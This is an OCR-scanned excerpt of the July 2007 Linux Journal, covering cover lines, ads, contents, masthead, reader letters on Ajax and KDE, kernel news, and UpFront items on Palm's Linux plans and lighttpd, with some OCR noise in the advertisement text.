DJANGO I TESSERACT I INKSCAPE I GIMP I PYTHON I QCCPACK m f r QccPack Python Command-Line Driven Image Processing Image Gallery Since 1994: The Original Magazine of the Linux JULY 2007 | ISSUE 159 TESSERACT OCR PIXEL CREATOR SPEAKS INKSCAPE SCALABLE VECTOR GRAPHICS DEEP GIMP ALTERNATIVES ** ^ REAL-WORLD SELINUX AUTOMATED GIMP USA $5.00 | CAN $6.50 07 7 1486 0310 2 4 Enterprise and High-Performance Computing Under Your Control Appro is by combining the latest technology that meets the demands of the enterprise HPC market. AMD Opteron™ Processors: • Quad-Core Ready - increase capacity without altering datacenter infrastructure • Best performance per-watt with energy-efficient DDR2 • Optimized system performance with Direct Connect Architecture Manage Any Data Center Anytime. Anywhere. Avocent builds hardware and software to access, manage and control any IT asset in your data center, online or offline, keeping it, and your business, “always on”. _ , ^ . The Power of Being There® Visit us on our Remote Control Tour. For locations near you, go to www.avocent.com/remotecontrol. Avocent, the Avocent logo and The Power of Being There, are registered trademarks of Avocent Corporation. ©2007 Avocent Corporation. »s>V v iw»y •?' AVf *V. FEATURES 38 DREAMWORKS ANIMATION SH/?EK THE THIRD: LINUX FEEDS AN OGRE What can you do with Linux and 20 million CPU render hours? Robin Rowe 44 TESSERACT: AN OPEN-SOURCE OPTICAL CHARACTER RECOGNITION ENGINE If you really need OCR. Anthony Kay 48 INTRODUCING VECTOR GRAPHICS AND INKSCAPE Want scalable beauty? Marco Fioretti 54 INTERVIEW WITH PAVEL KANZELSBERGER. CREATOR OF PIXEL Photoshop comes to Linux, sort of. _ James Gray _ ON THE COVER • Tesseract OCR, p. 44 • Pixel Creator Sneaks, p. 54 | • Inkscape Scalable Vector Graphics, p. 48 I • Deep GIMP Alternatives, o. 34 1 • Real-World SELinux, p. 84 I • Automated GIMP, p. 58 | • Shrek the Third: Linux Feeds an Ogre, p. 38 • QccPack Python Imaqe Processing, p. 80 \ • Command-Line Driven Image Gallery, o. 70 1 2 | july 2007 www.linuxjournal.com COVER PHOTO COURTESY OF DREAMWORKS ANIMATION LLC. 90 ( Keep it simple. Rest easy. High technology is exciting. But all too often that includes pointless complexity. Not with Coyote Point. From local to global load balancing, application acceleration or ultimate network manageability. Coyote Point leads the pack. We take the guesswork out of application traffic management to deliver reliable solutions. You won’t find anything faster, smarter or more affordable out there. Find out why more than 2,000 businesses save time, money and mental energy with Coyote Point. Write info@coyotepoint.com or call 1-877-367-2696. CONTENTS S.’S COLUMNS _ 18 REUVEN M. LERNER'S AT THE FORGE First Steps with Django 22 MARCEL GAGNE'S COOKING WITH LINUX Let Me Show You How It's Do(ie with a Little video 26 DAVE TAYLOR'S WORK THE SHELL Displaying Image Directories in Apache, Part IV DOC SEARLS' LINUX FOR SUITS Beyond Blogging's Black Holes NICHOLAS PETRELEY S /VAR/OPINION Amazing Free Distributions Ate QUICK TAKES 34 DEEP IMAGES Dan Sawyer IN EVERY ISSUE 8 LETTERS _ 12 UPFRONT 1b TECH TIPS NEW PRODUCTS ADVERTISERS INDEX INDEPTH _ 58 AUTOMATED GIMP PROCESSING OF WEB IMAGES Program GIMP to work for you. Ben Martin 70 WRITING YOUR OWN IMAGE GALLERY APPLICATION WITH THE UNIX SHELL GUI? We don't need no stinking GUI. Girish Venkatachalam 74 PROGRAMMING PYTHON, PART II More love for learning Python. Jose P. E. "Pupeno" Fernandez 80 IMAGE PROCESSING WITH QCCPACK AND PYTHON A library collection for Python image processing. -Suhas Desai- 84 MAMBO EXPLOIT BLOCKED BY SELINUX SELinux catches exploits. Richard Bullington-McGuire 90 ROLE-BASED SINGLE SIGN- ON WITH PERL AND RUBY Let the role dictate the privileges. Robb Shecter 54 PIXEL CREATOR PAVEL KANZELSBERGER Next Month COOL PROJECTS You can buy an old coin-slot arcade machine and play some¬ thing like Pac-Man on it, but how about if you could convert it to a Linux-based arcade machine that lets you play all of your favorite 80s arcade games and more? If that isn't a cool project, we don't know what is. We'll show you how to modify the case, hook up joysticks and buttons—the works. Want to create your own virtual private network for your Nokia E61? We've got that, too. As always, there's much more. What if building your own Firefox add-on/extension is your definition of cool? We'll walk you through the whole process. We also take a peek at some of the freshest cool projects others have created. USPS LINUX JOURNAL (ISSN 1075-3583) is published monthly by Belltown Media, Inc., 2211 Norfolk, Ste 514, Houston, TX 77098 USA. Periodicals postage paid at Houston, Texas and at additional mailing offices. Cover price is $5 US. Subscription rate is $25/year in the United States, $32 in Canada and Mexico, $62 elsewhere. POSTMASTER: Please send address changes to Linux Journal, PO Box 980985, Houston, TX 77098. Subscriptions start with the next issue. 4 | july 2007 www.linuxjournal.com . PranaSystems Prem i um Ded i cated Servers Four excellent hosting plans offering top quality hardware and service at killer prices... Bronze Serve r S HP ProLiant 65 Blade Servers with Dual-Core Intel® Xeon® processors ■ / 24x7x365 toll-free tech support ^ High performance network with full 100Mbps & gigabit connections Service Level Agreement • 2.0 GHz Intel Xeon Woodcrest processor • 2 HP 146GB 10K SAS drives (RAID1 mirror) • 3Mbps unmetered bandwidth - 2 GB memory -$35D/«0 only Silver Serve r — Extras • 2.0 GHz Intel Xeon Woodcrest processor • 2 HP 146GB 10K SAS drives (RAID1 mirror) • 5Mbps unmetered bandwidth • 4GB memory $45D/l»0 only Platinum Serv er • Two 2.0 GHz Intel Xeon Woodcrest processors • 2 HP 146GB 10K SAS drives (RAID1 mirror) • 5Mbps unmetered bandwidth • 8GBmemory „ ly *tDD/mO L.iuJIJj-jL HA MySQL Database (hot failover) $L50/mo C HA NFS / SMB Fileserver (hot failover) $t50/mo (• HA Load Balancer / Firewall (hot failover) _ $5DQ/«no Q Shared Load Balancer (up to 6 domains) $lDQ/mo Gold Server • Two 2.0 GHz Intel Xeon Woodcrest processors • 2 HP 146GB 10K SAS drives (RAID1 mirror) • 5Mbps unmetered bandwidth • 4GB memory i C 3 C y only ?3C3/fHO Visit prana .com for more info intel) . 111.111. CISCO 0) red hat A i * New Customer Special * bandwidth... $ 15 DD/mo! fixdFril i'ttf tne Hooiinl 050 ftiaatontd tmternBrli of Rod H*l Ire Ln*n a m TrKJOTin- or Te^aMn "rsco, Cr«o Sysiivtk. W* Qscfi SytWrliti 4m t'AdernarV! pt Ifadnftvfcs IHMtjft SyEstrtv trt(L r nrtC/or Iti Jfffiifttal ril flit UnfCW S J li*i*n dnd ialki courtr^. Irflpi, (nttn te^i, IrtP* ImsOe tCQff, araj XOT rnsap ift (TBJJPTUrta or rBffBimfl OwKnung o# Inm corporflton or i® tuifse j 'hs m the Urrtri States otho com!?its. Ilva toga n n Indcmort of rtewtei ‘?achJidl ond dmotnt. sales@pranasystems.com / 800-673-0149 LINUX JOURN L- Since 1994: The Original Magazine of the Linux Community Digital Edition Now Available! Read it first Get the latest issue before it hits the newsstand Keyword searchable Find a topic or name in seconds Paperless archives Download to your computer for convenient offline reading Same great magazine Read each issue in high-quality PDF Trv a Sarrmle Issue! - r '**»*- T % T r 1 /—T—1 cry *sr t 't’T’T't** j l l-T-TT LINUX JOURNAL Editor in Chief Nick Petreley, ljeditor@linuxjournal.com Executive Editor Jill Franklin jill@linuxjournal.com Senior Editor Doc Searls doc@linuxjournal.com Art Director Garrick Antikajian garrick@linuxjournal.com Products Editor James Gray newproducts@linuxjournal.com Editor Emeritus Don Marti dmarti@linuxjournal.com Technical Editor Michael Baxter mab@cruzio.com Senior Columnist Reuven Lerner reuven@lerner.co.il Chef Fran^ais Marcel Gagne mggagne@salmar.com Security Editor Mick Bauer mick@visi.com Contributing Editors David A. Bandel • Greg Kroah-Hartman • Ibrahim Haddad • Robert Love • Zack Brown • Dave Phillips • Marco Fioretti • Ludovic Marcotte • Paul Barry • Paul McKenney • Dave Taylor Proofreader Geri Gale Publisher Carlie Fairchild publisher@linuxjournal.com General Manager Rebecca Cassity rebecca@linuxjournal.com Director of Sales Regional Sales Manager Regional Sales Manager Laura Whiteman laura@linuxjournal.com Joseph Krack joseph@linuxjournal.com Kathleen Boyle kathleen@linuxjournal.com Circulation Director Marketing Coordinator Mark Irgang mark@linuxjournal.com Lana Newlander mktg@linuxjournal.com System Administrator Webmaster Mitch Frazier sysadm@linuxjournal.com Keith Daniels webmaster@linuxjournal.com Accountant Candy Beauchamp acct@linuxjournal.com Linux Journal is published by, and is a registered trade name of, Belltown Media, Inc. PO Box 980985, Houston, TX 77098 USA Editorial Advisory Board Daniel Frye, Director, IBM Linux Technology Center Jon "maddog" Hall, President, Linux International Lawrence Lessig, Professor of Law, Stanford University Ransom Love, Director of Strategic Relationships, Family and Church History Department, Church of Jesus Christ of Latter-day Saints Sam Ockman, CEO, Penguin Computing Bruce Perens Bdale Garbee, Linux CTO, HP Danese Cooper, Open Source Diva, Intel Corporation Advertising E-MAIL: ads@linuxjournal.com URL: www.linuxjournal.com/advertising PHONE: +1 713-344-1956 ext. 2 Subscriptions E-MAIL: subs@linuxjournal.com URL: www.linuxjournal.com/subscribe PHONE: +1 713-589-3503 FAX: +1 713-589-2677 TOLL-FREE: 1-888-66-LINUX MAIL: PO Box 980985, Houston, TX 77098 USA Please allow 4-6 weeks for processing address changes and orders PRINTED IN USA LINUX is a registered trademark of Linus Torvalds. TqtalView Introduces The Most Powerful Command For The Multi-core Age. m m 1 1Y1 . 15-day free evaluation TotalView is the proven debugging solution built specifically to address your unique challenges when developing multi-core, multi-threaded applications. As part of a complete suite of proven multi-core debugging and performance tools that supports C, C++ and Fortran on Linux, UNIX and Mac OS X, TotalView 8.1 is the only solution you can count on for all of your multi-core debugging needs. Developed to help debug the world's most demanding applications, TotalView is extremely powerful, yet easy to use. Visually-driven, it provides enhanced graphical representations that enable users to quickly recognize problems and zoom in to identify root causes. TotalView does not require instrumentation, relinking, or rebuilding. TotalView has been proven to reduce debugging time by up to 80%. Try it now, for free! Go to www.totalviewtech.com/command to power-up your 15-day trial version, or call techndldgies 1-800-856-3766 for more information. Built for the Multi-core age TotalView 2007 TotalView Technologies, LLC TotalView is a registered trademark of TotalView Technologies, LLC. All other names are trademarks of their respective holders. letters A MIX KJSTGnEHL ZMEJRA MQCHIKIT FIREBUG APTJUU, Ajax Overdose First let me say that I love your magazine. I look forward to each issue and I enjoy almost every article...yes, even you Marcel. My gripe is that your magazine focuses far too much on Ajax. Don't get me wrong. I love Ajax. I use it in my JSPs all the time. But come on! It's not a Linux technology, but yet it gets coverage in almost every issue of U since at least October 2006. Let's take a look back: • October 2006: At the Forge—"JavaScript, Forms and Ajax". • November 2006: At the Forge— "Beginning Ajax"; Feature—"Caller ID with Asterisk and Ajax". • December 2006: At the Forge—"Ajax Application Design". • January 2007: At the Forge—"Prototype" (Ajax); Indepth—"Ajax Timelines and the Semantic Web". • February 2007: At the Forge— "Scriptaculous" (Ajax). • March 2007: A nice break from Ajax. • April 2007: At the Forge—"Dojo Events and Ajax". • May 2007: Ajax everywhere! Is Ajax really a subject that needs to be cov¬ ered in every issue? This is still Linux Journal, not Ajax Journal, right? Aren't there other non-Web development topics that can be covered in At the Forge? Marc We'll do our best to cover different ground. However, Ajax is an extremely popular approach to providing users with a rich-client experience. Its platform-neutrality and the broad set of Linux tools available make it an excellent Linux topic. — Ed. Ajax Appreciated I just wanted to tell you your coverage of Ajax, Ruby and programming languages, hot topics in the industry, is just awesome. I am glad I bought a subscription from you guys. I am a Linux hobbistA/Veb developer/graduating senior from ASU Polytechnic and just wanted to let you know you are doing an awesome job. Karol Don't Just Beat Me, Teach Me I've read your magazine off and on for years, and I even had a subscription a few years back—excellent magazine. ► Ajax Examples Are Wrong I have tried a number of examples from the May 2007 issue's articles and have discovered that all of the examples are flowed with the same bug. The problem can be narrowed down to these two lines in all examples. From the magazine: http.open("GET", url + escape(zipValue), true); http.onreadystatechange = handleHttpResponse; The right way: http.onreadystatechange = handleHttpResponse; http.open("GET", url + escape(zipValue), true); The problem is if you make the call to open before a call-back func¬ tion is defined, the response will end up in the great big void. After calling open, the script's control stops and control will first be gained again when open calls the call-back function with the response. Apart from this, though a fundamental change, all scripts work as expected. • My OS: Debian Sid • Browser: $ dpkg -s iceweasel • Package: iceweasel • Status: install ok installed • Priority: optional • Section: web \ • Installed-Size: 26936 • Maintainer: Eric Dorland (eric@debian.org) • Architecture: i386 • Version: 2.0.0.3-2 PS. A little annoyance: I think it would be a good idea if the writers actually listed HTML that is able to validate: AJAX Contactbook Other than that, I think Linux Journal is a great magazine. Michael Rasmussen All of the examples I tried, myself, worked. But I'll take your word for it that they present problems in other environments. Thanks for the tips and suggestion. — Ed. _ J 8 | july 2007 www.linuxjournal.com The Straight Talk People SINCE 1991 ABERDEEN 3U 12TB Dual-Core Ready Storage Server • Up to two Dual-Core AMD Opteron™ 2000 Series processors • Up to 16 x 750GB (12TB) Hot-Swap SATA Hard Drives • Internal SATA 2.5" Hard Drive Bay for OS Drive • 800+ MB/sec sustained data throughput RAID Controller • Up to 32GB 667/533MHz ECC Registered DDR2 SDRAM • nVIDIA nForce Pro Chipset with 64-Bit Support • 650W Redundant Hot-Swap Power Supply • 5-Year Warranty Starting at $4 # 259 5U 18TB Dual-Core Ready Storage Server • Up to two Dual-Core AMD Opteron™ 2000 Series processors • Up to 24 x 750GB (18TB) Hot-Swap SATA Hard Drives • Two Internal SATA Hard Drive Bays for Mirrored OS Drives • 800+ MB/sec Sustained Data Throughput RAID Controller • Up to 32GB 667/533MHz ECC Registered DDR2 SDRAM • nVIDIA nForce Pro Chipset with 64-Bit Support • 950W Triple Redundant Hot-Swap Power Supply • 5-Year Warranty Starting at 6U 24TB Dual-Core Ready Storage Server • Up to two Dual-Core AMD Opteron™ 2000 Series processors • Up to 32 x 750GB (24TB) Hot-Swap SATA Hard Drives • Two Rear Hot-Swap SATA Hard Drive Bays for Mirrored OS Drives • 800+ MB/sec sustained data throughput RAID Controller • Up to 32GB 667/533MHz ECC Registered DDR2 SDRAM • nVIDIA nForce Pro Chipset with 64-Bit Support • 1350W Redundant Hot-Swap Power Supply • 5-Year Warranty Starting at AMDtl Opteron "The Ultimate Linux Server... too fast for our benchmarks... we recommend the Aberdeen line of servers without reservation." Linux Journal—Aberdeen Stonehaven A261T "terrific for video serving or other storage intensive tasks" PC Magazine —Aberdeen XDAS "Aberdeen surpasses HP ... markedly higher scores ... AberNAS 128 boasts outstanding features" Network Computing—Aberdeen AberNAS 128 "powerhouse performance ... staggering ... eye-opening ... the highest WebBench numbers to date" PC Magazine—Aberdeen Stonehaven A261S AMD, the AMD Arrow logo, AMD Opteron, combinations thereof, are trademarks of Advanced Micro Devices, Inc. For terms and conditions, please see www.aberdeeninc.com/abpoly/abterms.htm. Ij019 888-297-7409 www.aberdeeninc.com/Iinux [LETTERS] ► I'm writing because you have an old story from 1998, written by Jason Kroll. I read it a few times. I tried to contact Jason, but his e-mail has changed from the one you listed (that's no surprise, the article is nine years old). Anyway, I would love to discover a good chess-playing program for Linux that teaches me how to improve, besides beating me at chess. All the games mentioned in the article are good. I have tried a few—gnuchess, crafty, etc. They will play a very strong game, and you can save games for study. But, this doesn't teach me the way a program like ChessMaster can teach people. ChessMaster runs only on Windows, and I don't want to struggle with Wine as a workaround. This is 2007,1 am using the latest kernel on Kubuntu, and I'm really happy with my Linux experience. I would appreciate it if you or Jason could try to help me locate a ChessMaster equivalent for Linux. Eddie Colon Great idea. We'll put out a call for such an article and see if we can turn up an author who wants to tackle it. — Ed. Network Computing Still Expensive I am sending you this e-mail at great expense. No, not Great Expense, Arizona, great expense over dial-up. At the moment, I am in semi-rural Germany where +ADSIVBroadband has not yet reached. I suspect that the same goes for rural France, Holland, Spain and many other European countries. It certainly applies to England, where because of distance from the exchange coupled with poor quality (for data) cabling broadband has not reached. Even at my home location on the outskirts of a 300,000 population conurbation, the best speed on a good day is 1 Mb. So, whilst I think you are 100% right regarding network computing [see the May 2007 /var/opinion], until good reli¬ able Internet access at realistic speeds becomes available, it is some way off. Roy Read Now You See Them In the Letters section [April 2007], Chris Trayner mentioned in his response to you that under KDE he could no longer use certain features and concluded that these features had been removed from KDE. This conclusion is, fortunately, incorrect—the fea¬ tures he was looking for are still available. I just checked in the KDE Control Centre (under recent Mandriva and Knoppix releases) and found the following options: a) Alter Delete item on file context menu: go to the Components (or KDE Components) menu item, then File Manager, then the Behaviour tab, and see the check boxes in the second part of this panel. b) Changing window titlebar double-click behaviour: go to the Desktop (or System) menu item, then Window Behaviour, then the Actions (or Titlebar Actions) tab. There you will see a drop-down box labeled Titlebar Double-click. c) Moving maximised windows: go to the Desktop (or System) menu item, then Window Behaviour, then the Moving tab. There you will see a check box relating to this option. d) Although not previously mentioned, one option I always use if the initial setup allows it is icon activation using a single mouse click (such as under Knoppix): go to the Peripherals menu item, then Mouse. The second part of this panel contains the options relating to icon activation. Please note that the alternative names for various configuration items is because dif¬ ferent distributions and release versions have used the various names as shown. Perhaps the distro that Chris uses has changed various of its KDE feature defaults. Alternatively, it may have removed these features. If so, maybe Chris should consider changing distros. Rob Strover Correction to Piece about KRUU-FM I'm one of the members of community radio KRUU-LP, which you wrote about in your May 2007 issue of Linux Journal [see Doc Searls' piece in the UpFront section], I'd like to point out that we're actually Kruufm.com, and not Kruufm.org. Kruufm.com, the radio station, is not affiliated with Kruufm.org in any way at present. Sundar Raman LINUX JOURNAL fit Your Service MAGAZINE PRINT SUBSCRIPTIONS: Renewing your subscription, changing your address, paying your invoice, viewing your account details or other subscription inquiries can instantly be done on-line, www.linuxjournal.com/subs. Alternatively, within the U.S. and Canada, you may call us toll-free 1-888-66-LINUX (54689), or internationally +1-713-589-2677. E-mail us at subs@linuxjournal.com or reach us via postal mail, Linux Journal, PO Box 980985, Houston, TX 77098-0985 USA. Please remember to include your complete name and address when contacting us. DIGITAL SUBSCRIPTIONS: Digital subscriptions of Linux Journal are now available and delivered as PDFs anywhere in the world for one low cost. Visit www.linuxjournal.com/digital for more information or use the contact information above for any digital magazine customer service inquiries. LETTERS TO THE EDITOR: We welcome your letters and encourage you to submit them to ljeditor@linuxjournal.com or mail them to Linux Journal, 1752 NW Market Street, #200, Seattle, WA 98107 USA. Letters may be edited for space and clarity. WRITING FOR US: We always are looking for contributed articles, tutorials and real- world stories for the magazine. An author's guide, a list of topics and due dates can be found on-line, www.linuxjournal.com/author. ADVERTISING: Linux Journal is a great resource for readers and advertisers alike. Request a media kit, view our current editorial calendar and advertising due dates, or learn more about other advertising and marketing opportunities by visiting us on-line, www.linuxjournal.com/advertising. Contact us directly for further information, ads@linuxjournal.com or +1 713-344-1956 ext. 2. ON-LINE WEB SITE: Read exclusive on-line-only content on Linux Journal's Web site, www.linuxjournal.com. Also, select articles from the print magazine are available on-line. Magazine subscribers, digital or print, receive full access to issue archives; please contact Customer Service for further information, subs@linuxjournal.com. FREE e-NEWSLETTERS: Each week, Linux Journal editors will tell you what's hot in the world of Linux. Receive late-breaking news, technical tips and tricks, and links to in-depth stories featured on www.linuxjournal.com. Subscribe for free today, www.linuxjournal.com/enewsletters. V 10 I july 2007 www.linuxjournal.com Maximize Opteron™ Quad-Core Performance with UniServer Slim GDROM/DVO Air Duel for CPU Coding fan i PCfExiesiot MCP55V Fro Ctirpset - Gpleron 2000 Dual/Quad-Core CPU Up (□ 32GB Memories 2 Hot Swap SATA 3,5* Bays Find Full Lines of Innovative Opteron" Server and Workstation Platforms From 1 socket, up to 32GB to 4 sockets, up to 128GB ► 1U Server-1 & 2 sockets with up to 64GB memories ► 3U Server- 2 & 4 sockets with up to 128GB memories ► 2U Server- 2 &4 sockets with up to 128GB memories ► Workstations -1,2 & 4 sockets with up to 128GB memories www.uniwide.com 1 -877-520-0071 UNEWIDE is an official AMD Validated Server Program Partner J ^AVNET P BELL MICRO ^SYNNFX 1-888-300 - 8277 1-800 - 291-2070 1 -888-756-4888 .UNIWIDE (c) 2007 UntwWe Technoiogles., Inc, All ngms are deserved and specjfTcaucns sufcjea lo dhangs wtinout ntfiw. FRONT NEWS + FUN diff -u The DevFS entry in the MAINTAINERS file is no longer WHAT'S NEW marked obsolete. IN KERNEL It has now been DEVELOPMENT completely removed from that file, and the last vestige of the old DevFS code is gone. An interesting facet of this history is that udev, which has replaced DevFS, is now subject to its own brand of controversy, albeit completely different from what surrounded DevFS. Some vendors are finding that they can't make good use of udev without using MODULEJJCENSEO to release their code under the GPL. With such fundamental parts of the kernel insisting on the GPL for third-party modules, it soon may be difficult for any binary-only kernel drivers to exist at all. JFFS is gone. The code has been removed from the kernel, and the main- tainer entry has been removed from the MAINTAINERS file. This is all well and good, because JFFS2 has superseded JFFS for a long time, and any lingering JFFS users out there really should switch over to JFFS2. The parallel port code, once such a key part of many users' systems, is now unmaintained. David Brownell had been unsuccessful at contacting any of the four folks listed in the MAINTAINERS file under that entry, and finally, he posted a patch marking the code unmaintained. Jean Delvare and Randy Dunlap both support the change, and Andrew Morton seems likely to accept it. If you're interested in seeing the parallel port code stay in the kernel, now's your chance to speak up and take it over. As Vassili Karpov has discovered to his dismay, CPU stats are not accurate¬ ly reported in /proc/stat on the PC architecture. On that architecture, CPU usage is examined only during the timer interrupt, so regular programs can seem to use much more or much less of the CPU, just because they happen to be either very active or idle at those partic¬ ular intervals. This also explains why users might see a difference in CPU usage when switching their kernel from running at 100Hz to 1,000Hz. In fact, the usage is unchanged, while only the accounting is different. Programs like top, which get their CPU stats from /proc/stat, will suffer from this kind of discrepancy. Vassili and his friends wast¬ ed guite a bit of time trying to optimize some code they were working on, until they discovered that they were optimiz¬ ing toward an inaccurate and ever- changing goal. The kbuild system is likely to get some new maturity indicators to go along with "Experimental". It's been suggested that "Deprecated" and "Obsolete" would be some nice addi¬ tions. The only problem is that folks currently seem unable to agree on the meaning of those terms. To some folks, "Obsolete" means a replace¬ ment is available; although to others, it means the code is completely dead and unsupported. It's very likely that these disagreements will resolve them¬ selves in the relatively near term; everyone seems to agree that kbuild will be improved by having some kind of additional maturity indicators. The kernel.org folks have forked gitweb, because the gitweb maintain- ers were not responsive enough to their bug reports. However, it turns out that the kernel.org folks don't have the time to maintain gitweb themselves, so they are missing out on important improvements being made to the upstream tree. At the same time, the gitweb maintainers did seem to be gathering up bug fixes eventual¬ ly. It seems as though this particular code fork may be short-lived. Deepak Saxena has modified the kernel to make sure it can build under a Cygwin environment. Some people may wonder why the kernel develop¬ ers would bother supporting a kernel development environment under Windows, but as Deepak puts it, this environment "is unfortunately used by more people than one would think in the embedded world". His patch, it turns out, is a bit hacky, and H. Peter Anvin has asked him to include vari¬ ous appropriate comments to make sure anyone touching the code doesn't break Cygwin support. — ZACK BROWN U Index, July 2007 1. Number of keystrokes required to bring up a document at the FBI: 13 2. Cost in millions of dollars of the FBI's scrapped Virtual Case File (VCF) system: 170 3. Number of IT managers on the VCF system in 40 months: 15 4. Estimated cost in millions of dollars of VCF's replacement. Sentinel: 425 5. Expected years until Sentinel is due to be finished: 2 6. Daily petabytes of Internet Protocol traffic carried by Level 3: 3.7 7. Percentage of Hollywood films that show tobacco use: 75 8. Number of actresses in the Linux-hosted Female Celebrity Smoking List: 6,409 9. Percentage of spam sites among .info domains: 68 10. Percentage of spam sites among .biz domains: 53 11. Percentage of Blogspot.com blogs that are fake spam blogs or splogs: 77 12. Percentage of hometown.aol.com blogs that are splogs: 91 13. Percentage of home.aol.com blogs that are splogs: 95 14. Peak number of splogs created every day, in thousands: 11 15. Thousands of splogs removed from Technorati in early December 2006: 341 16. Position of Japanese among the top blogging languages: 1 17. Position of English among the top blogging languages: 2 18. Position of Chinese among the top blogging languages: 3 19. Position of Italian among the top blogging languages: 4 20. Percentage of blog posts that used tags in February 2007: 35 Sources: 1: CNET | 2-5: Fast Company | 6: Level 3 | 7: TIME Magazine | 8: Smoking From All Sides (smokingsides.com) | 9-13: Infoniac.com | 14-20: Technorati — Doc Searls 12 | july 2007 www.linuxjournal.com Xeon® inside" Quad-core. Unmatched. ed I/O Expandability & Flexibility Supermicro UIO servers allow users to select from a wide range of I/O options to provide the ultimate in storage and networking flexibility. The UIO card becomes a part of the serverboard, allowing the system to retain all of it’s PCI Express and PCI X slots for expan¬ sion cards. As a result, future upgrades can be acheived by replacing the UIO card and/or expansion cards instead of replacing the entire system. This versatility helps to minimize the amount of different servers that customers need to operate their business. Optimized Chassis Solutions The Power of Three Add-On Cards in 1U Gives you the freedom to build exactly what you need! SUPERMICR# ✓ 3/7 Add-on Cards for 1U/2U ✓ Highly Upgradeable ✓ High Efficiency Power (up to 90%+) ✓ Multiple Expansion Card Options (SAS RAID 5,10-G, IB...up to 20 choices) ^ Simplify Your Inventory Management For more information visit us at www.supermicro.com * Our new generation power supply efficiency measures 90%+ or more under a typical loading operation. SC815TQ-R650U UIO Motherboard Options SC825TQ-R700U X7DAL-E+/X7DAL-E AMAX Arrow Electronics ASI Bell Micro Ingram Micro MA LABS Synnex Tech Data 1-800-800-6328 1-888-427-2250 1-800-2000-ASI 1-800-232-9920 1-800-456-8000 1-408-941-0808 1-800-756-5974 1-800-237-8931 www.amax.com www.arrownacp.com www.asipartner.com www.bellmicro.com www.ingrammicro.com www.malabs.com www.synnex.com www.techdata.com © 2007 Super Micro Computer, Inc. Specifications subject to change without notice. All other brands and names are the property of their respective owners. Intel, the Intel logo, Intel inside, the Intel Inside logo, Intel Xeon are trademarks or registered trademarks of Intel Corporation or its subsidiaries in the United States and other countries. [UPFRONT Palming Linux The term PDA (personal digital assistant) was coined in 1992 by Apple CEO John Sculley to name a category for a new class of handheld devices, inaugurated by Apple's Newton. Sculley moved on and Newton flopped, but the category stayed. Starting with the Palm Pilot in 1996, the Palm brand has been synonymous with the PDA category, even as the company called Palm has gone through multiple incarnations and the most familiar PDAs are also cell phones. From the beginning, Palm has had its own operating system, called PalmOS (Garnet). In recent years, the company has added Windows Mobile for use in some of its cell-phone PDAs. (For example, the Palm Treo 700 comes in Palm and Windows versions.) Then, at its Analyst and Investor Day in April 2007, Palm announced plans to moosh its PalmOS development together with development atop the Linux kernel, along with plans to come out with Linux-based Palm products before the end of this year. Managing the Platform Transition Figure 1. Palm Planning Linux-Based Products We don't have more specifics at press Looks like another example of World time, but we do have a copy of a visual used Domination at work. Resistance is futile, by Palm at the announcement (Figure 1). —doc searls lighttpd Is in the House In April 2007, Netcraft's monthly survey (news.netcraft.com/archives/2007/04/ 02/april_2007_web_server_survey.html) showed a new entry in its top five Web servers: lighttpd (www.lighttpd.net). At that point, Lighty (or LightTPD) clocked in at 1.4 million sites, not including the reported Apache sites hosted by OpenSourceParking (opensourceparking.com) that Netcraft claims may actually have been running lighttpd. Says Netcraft, "The opensourceparking.com headers say Apache, but have the Date & Server headers last, a pattern which is identical to the lighttpd response and entirely unlike a typical Apache response. The etag is also not in Apache format, and matches the lighttpd format" (news.netcraft.com/ archives/2007/04/04/open_source_ parking_spoofing_headers_to_ benefit_apache.html). Jan Kneschke began work on lighttpd in 2003, when he wanted to develop a fast and lightweight alter- LIGHTTPD fly light. native to Apache. Since then, a com¬ munity has grown around lighttpd, which has its own home (with a blog, a wiki and a forum) at lighttpd.net. The description there goes: lighttpd is a secure, fast, compliant and very flexible Webserver that has been opti¬ mized for high-performance environments. It has a very low memory footprint com¬ pared to other Webservers and takes care of CPU load. Its advanced feature set (FastCGI, CGI, Auth, Output-Compression, URL-Rewriting and many more) makes lighttpd the perfect Webserver-software for every server that suffers load problems. Meanwhile, Apache (in April 2007) stood at a 58.63% share of the Netcraft surveyed sites, running roughly flat month to month after it dropped about the same 5% that Microsoft servers gained in April of last year. Don't be surprised to see lighttpd and Apache combine to increase open-source server market shares, while also increasing choice. Watch Netcraft (news.netcraft.com) for more developments. — DOC SEARLS 14 | july 2007 www.linuxjournal.com They Said It San Diego is skilled at the use of computers to include setting up e-mail services and using the programming language Linux. He is also skilled at sailing, particularly small sailboats. San Diego has traveled internationally. —From an FBI Wanted notice for Daniel Andreas San Diego. Later "operat¬ ing system" was substituted for "programming language". Original source: www.digg.com/linux_unix/FBLLinux_is_a_programming_language; current source: www.fbi.gov/wanted/fugitives/dt/sandiego_da.htm. Linux is not about free software, it is about community....It's not like Novell; it isn't going to run out of money—it started off bankrupt, in a way. —Steve Ballmer, news.com.com/2100-1001 -959165.html All the computer people use Macs or Linux now. Windows is for grandmas, like Macs used to be in the 90s. So not only does the desktop no longer matter, no one who cares about computers uses Microsoft's anyway. —Paul Graham, www.paulgraham.com/microsoft.html Scarcity models are by definition not scale-free; a hit culture prevails. Open source, given the lower barriers to entry, allows someone to build left-handed credit derivatives juicer because he felt like it. There's a long-tail effect. You are more likely to find esoteric tools in an open-source world than in a closed-source one. Open-source peo¬ ple don't go around asking, ''Is there a market for this?" They solve problems and see if others have similar problems to solve. —JP Rangaswami, confusedofcalcutta.com/2007/04/12/10-reasons-for-enterprises-to-use-opensource I can't help but wonder what would have happened if John D. Rockefeller had patented a system for transferring gasoline from a fixed source to a mobile device using a hose that fit into an cylindrical pipe. —Bob Frankston, www.listbox.com/member/archive/247/2007/04/sort/time_rev/ page/1/entry/12:33/200704061 55116:2E760D64-E478-11DB-8383-B97D599214BB GOOGLE'S WORST NIGHTMARE: Wikipedia's JIMMY WALES Has His Sights Set on the Search Business—Cover headline of the April 2007 edition of Fast Company. In the current issue of Fast Company, right below my face it says, "Google's Worst Nightmare". And I think, God, I should really get to work on that search engine. -Jimmy Wales, in TIME, April 7, 2007. Fast Company article: www.fastcompany.com/magazine/114/features-why-is-this-man-smiling.html; TIME piece: www.time.com/time/magazine/article/0,9171,1601837,00.html. U3E« FBI EH PLY by JO. "IlllaJ- FrlzAr WELL THIS IS IT TM FlNALLV GOING TO WALK | THE WALK lom AS AM OFEU-SOURCER. IVE FlHALLV SWITCHED OVER E TO THE OfMP ; ALTHOUGH rr PS A CONSID¬ ERABLE SACRIFICE THAT I MAKE, RELEARNWG ALL OF MV APRS, J DO IT IN THE MAME OF OFEH-SOURCE PURITV AND 